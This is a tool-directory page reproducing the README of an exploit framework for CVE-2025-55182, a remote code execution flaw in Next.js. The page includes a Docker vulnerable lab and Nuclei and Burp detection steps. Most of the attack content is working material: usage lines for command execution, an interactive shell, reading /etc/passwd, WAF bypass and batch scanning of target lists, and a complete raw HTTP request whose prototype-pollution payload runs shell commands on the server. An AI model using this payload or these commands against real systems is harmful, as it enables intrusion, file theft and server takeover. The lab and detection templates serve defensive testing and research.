Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
react2shell-exploit — React2Shell-Exploit — Complete exploitation framework for CVE-2025-55182, including Python exploit, Docker vulnerable lab, Burp Suite manual and automated exploitation, Nuclei detection template, and validated testing workflow. Developed for penetration testing and educational research. | Kitploit
Tools/GitHubGitHub/rubensuxo-eh/react2shell-exploit
Vulnerability ScannersExploit FrameworksWeb Application ExploitationWAF BypassPenetration TestingCommand and ControlLearning & EducationPayload DevelopmentLabs & Practice

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

About

React2Shell-Exploit — Complete exploitation framework for CVE-2025-55182, including Python exploit, Docker vulnerable lab, Burp Suite manual and automated exploitation, Nuclei detection template, and validated testing workflow. Developed for penetration testing and educational research.

GitHubrubensuxo-eh/react2shell-exploit

react2shell-exploit

View Repository
418 months agoNot yet reviewed
Share

🐺 React2Shell-Exploit-Kensei

CVE-2025-55182 - Next.js RCE Remote Code Execution

Exploit framework + vulnerable lab + Burp Suite & Nuclei validation.

Complete exploitation framework and vulnerable lab environment for security research and penetration testing.

root@kitploit:~
╔═══════════════════════════════════════════════════════════════╗
║              🐺 React2Shell-Exploit-Kensei 🐺                 ║
║              CVE-2025-55182 Exploitation Tool                 ║
║                                                               ║
║  Author: Ruben Suxo - Ethical Hacker (kensei)    v2.5.0      ║
╚═══════════════════════════════════════════════════════════════╝

🎯 Overview

React2Shell-Exploit-Kensei is a comprehensive toolkit for exploiting CVE-2025-55182, a critical remote code execution vulnerability in Next.js applications.

It includes:

  • 🐍 Python exploit (automated + manual modes)
  • 🐳 Docker vulnerable lab (Next.js 16.0.6)
  • 🔥 Burp Suite exploitation templates
  • 🚨 Nuclei detection template
  • 🧪 Validated test cases

Affected Versions:

  • Next.js < 16.0.7
  • React 19.0.0

CVSS Score: 10.0 (Critical)

✨ Features

🔨 Exploitation

✅ Automated Exploitation
✅ Interactive Shell
✅ Command Execution
✅ File Reading
✅ WAF Bypass
✅ Batch Scanning

🧪 Lab Environment Docker Installation - Prerequisites

You must have Docker installed to run the vulnerable lab.

PlatformInstall link
Windowshttps://docs.docker.com/desktop/install/windows/
macOShttps://docs.docker.com/desktop/install/mac-install/
Linux

Verify installation:

root@kitploit:~
docker --version

📖 Documentation

✅ Burp Suite Guide
✅ Nuclei Template
✅ Complete Examples


🚀 Quick Start

root@kitploit:~
# 1. Clone
git clone react2shell-exploit
cd react2shell-exploit
chmod +x react2shell-exploit.py

# 2. Start Lab
cd docker
docker build --no-cache -t react2shell-lab .
docker run -d -p 3002:3002 --name react2shell-lab react2shell-lab

# 3. Exploit
python3 react2shell-exploit.py --url http://localhost:3002 --cmd "whoami"

💻 Usage Examples

Scan

root@kitploit:~
python3 react2shell-exploit.py --url http://target.com --scan

Execute Command

root@kitploit:~
python3 react2shell-exploit.py --url http://target.com --cmd "id"

Interactive Shell

root@kitploit:~
python3 react2shell-exploit.py --url http://target.com --shell

Read File

root@kitploit:~
python3 react2shell-exploit.py --url http://target.com --read /etc/passwd

WAF Bypass

root@kitploit:~
python3 react2shell-exploit.py --url http://target.com --cmd "whoami" --waf-bypass

Batch Scan

root@kitploit:~
python3 react2shell-exploit.py --list targets.txt --scan --threads 20

🔍 Manual Exploitation

Burp Suite

Verified Working - Request Template:

root@kitploit:~
POST / HTTP/1.1
Host: target.com:3002
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Next-Action: x
Content-Length: 734

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('whoami',{timeout:30000}).toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/exploit?out=${encodeURIComponent(res)};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Expected Response:

root@kitploit:~
"children":["__PAGE__?{\"out\":\"root\"}",{}]

Manually testing WHOAMI: My Screenshot

Manually testing IFCONFIG: My Screenshot

Alternative Automated Detection Methods:

  • ✅ Extensibility Helper extension:
    1. Go to Extensions:
    2. Install "Extensibility Helper" and go to it

My Screenshot

  1. Go to "Bambda Store"
  2. Look for "CVE-2025-55182,CVE-2025-66478 - React2Shell"

My Screenshot

  1. click on "import"

My Screenshot

  1. Run an "Audit Selected Items"

My Screenshot

My Screenshot

My Screenshot

  1. Validate in Custome Tab that "CVE-2025-55182,CVE-2025-66478 - React2Shell" is checked My Screenshot
  • ✅ ActiveScan++: Automated detection

My Screenshot

Nuclei

Verified Working:

root@kitploit:~
nuclei -target http://target.com:3002 -t nuclei/CVE-2025-55182.yaml

Output:

root@kitploit:~
[CVE-2025-55182] [http] [critical] http://target.com:3002/

My Screenshot

🐺 Credits

Author: Ruben Suxo - Ethical Hacker (kensei)
Version: 2.5.0
Date: 2025-12-06

Research & Inspiration

This project builds upon research and techniques from:

  • assetnote/react2shell-scanner - Scanner implementation
  • freeqaz/react2shell - Exploitation techniques
  • whiteov3rflow/CVE-2025-55182-poc - Proof of concept

Vulnerability Discovery

  • Lachlan Davidson (@lachlan2k) - Original CVE-2025-55182 discovery

⚠️ Legal Disclaimer

For authorized security testing only.

Unauthorized access is illegal. Use only on systems you own or have explicit permission to test.


📄 License

MIT License


🐺 Hack The Planet - Responsibly

For educational purposes only. Use ethically.

Download Tool
https://docs.docker.com/engine/install/